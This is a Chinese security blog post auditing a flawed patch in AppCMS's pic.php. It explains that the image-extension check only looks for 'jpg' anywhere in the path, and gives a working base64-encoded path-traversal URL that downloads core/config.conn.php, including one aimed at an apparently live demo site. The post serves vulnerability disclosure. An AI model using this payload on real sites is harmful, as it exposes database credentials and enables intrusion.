代码审计:appcms补丁处理不当导致任意文件下载

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

虽然 appcms 对之前的第一次任意文件下载 进行了修补,但是修补方式不当,导致仍然能够任意文件下载(官方演示站再次验证)

 

经补丁后的文件pic.php如下(注释为本人做的说明)

<?php 
  
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) { 
  
$img_url = base64_decode($_GET['url']); 
  
    $_GET['url']=strtolower($img_url);        //解码后相当于没有编码 
  
    $_GET['type']=strtolower($_GET['type']); 
  
  
  
    $arr_a=array('jpg','jpeg','png','gif');   //扩展名白名单 
  
    $down=0;                                  //down=1时标记审计策略通过 
  
    foreach($arr_a as $b){                    //循环审计 
  
        if(strstr($_GET['url'],$b)){          //如果url里包含白名单jpg字符串即为审核通过,问题就出在这里,url里只要出现jpg就可以,那么xxx/xxx.jpg是合法的,但是呢,假定xxxjpg/../xxx.php会通过判定! 
  
            $down=1; 
  
        } 
  
    } 
  
    if($_GET['type']=='php') $down=0;         //完全没有用处,不是根据type判定的 
  
  
  
    if($down==1){ 
  
        $shffix = trim($_GET['type']);        //下面没有任何限制了,直接文件读取了 
  
        header("Content-Type: image/{$shffix}"); 
  
        readfile($img_url); 
  
    }else{ 
  
        die('image type forbidden'); 
  
    } 
  
} else { 
  
die('image not find!'); 
  
} 
  
  
  
?>
结合以上分析,构造一下即可任意文件下载
 
/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg
注:示例的base64为: 1jpg/../core/config.conn.php
 
证明:
1.先证明官方演示站点已经打过补丁,即不存在之前的老漏洞
 
代码审计:appcms补丁处理不当导致任意文件下载
2.证明本次漏洞的存在
 
http://www.kele8.cn/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg
 

代码审计:appcms补丁处理不当导致任意文件下载
代码审计:appcms补丁处理不当导致任意文件下载

作者:lxj616 

Tags:

appcms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:appcms补丁处理不当导致任意文件下载